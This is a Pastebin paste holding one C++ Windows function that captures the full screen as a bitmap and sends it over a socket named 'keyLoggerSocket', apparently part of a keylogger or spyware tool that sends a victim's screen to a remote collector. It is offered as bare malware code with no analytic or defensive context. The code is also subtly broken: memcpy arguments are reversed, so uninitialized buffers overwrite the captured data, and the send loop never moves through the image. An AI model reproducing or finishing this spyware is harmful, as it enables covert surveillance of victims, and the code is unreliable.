Advertisement
polstephenson

Untitled

May 20th, 2018
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.02 KB | None | 0 0
  1. void sendScreenshot() {
  2. unsigned int cx = GetSystemMetrics(SM_CXSCREEN), cy = GetSystemMetrics(SM_CYSCREEN);
  3. HDC hScreenDC = ::GetDC(NULL);
  4. HDC hMemDC = CreateCompatibleDC(hScreenDC);
  5. HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, cx, cy);
  6. HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap);
  7. BitBlt(hMemDC, 0, 0, cx, cy, hScreenDC, 0, 0, SRCCOPY);
  8. SelectObject(hMemDC, hOldBitmap);
  9. ::ReleaseDC(NULL, hScreenDC);
  10.  
  11. size_t headerSize = sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD);
  12. BYTE* pHeader = new BYTE[headerSize];
  13. LPBITMAPINFO pbmi = (LPBITMAPINFO)pHeader;
  14. memset(pHeader, 0, headerSize);
  15. pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
  16. pbmi->bmiHeader.biBitCount = 0;
  17. if (!GetDIBits(hMemDC, hBitmap, 0, 0, NULL, pbmi, DIB_RGB_COLORS))
  18. return;
  19.  
  20. BITMAPFILEHEADER bmf;
  21. if (pbmi->bmiHeader.biSizeImage <= 0)
  22. pbmi->bmiHeader.biSizeImage = pbmi->bmiHeader.biWidth*abs(pbmi->bmiHeader.biHeight)*(pbmi->bmiHeader.biBitCount + 7) / 8;
  23. BYTE* pData = new BYTE[pbmi->bmiHeader.biSizeImage];
  24. bmf.bfType = 0x4D42; bmf.bfReserved1 = bmf.bfReserved2 = 0;
  25. bmf.bfSize = sizeof(BITMAPFILEHEADER) + headerSize + pbmi->bmiHeader.biSizeImage;
  26. bmf.bfOffBits = sizeof(BITMAPFILEHEADER) + headerSize;
  27. if (!GetDIBits(hMemDC, hBitmap, 0, abs(pbmi->bmiHeader.biHeight), pData, pbmi, DIB_RGB_COLORS))
  28. {
  29. delete pData;
  30. return;
  31. }
  32.  
  33.  
  34. char* buf = new char[sizeof(BITMAPFILEHEADER)];
  35.  
  36. memcpy(&bmf, buf, sizeof(BITMAPFILEHEADER));
  37. send(keyLoggerSocket, buf, sizeof(BITMAPFILEHEADER), 0);
  38.  
  39. delete[] buf;
  40. buf = new char[sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD)];
  41.  
  42. memcpy(pbmi, buf, sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD));
  43. send(keyLoggerSocket, buf, sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD), 0);
  44.  
  45. delete[] buf;
  46. buf = new char[4098];
  47. unsigned long long bitsToSend = pbmi->bmiHeader.biSizeImage;
  48. unsigned long long bitsSent = 0;
  49. while (bitsSent < bitsToSend) {
  50. memcpy(pData, buf, 4098);
  51. send(keyLoggerSocket, buf, 4098, 0);
  52. bitsSent += 4098;
  53. }
  54.  
  55. delete[] buf;
  56. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement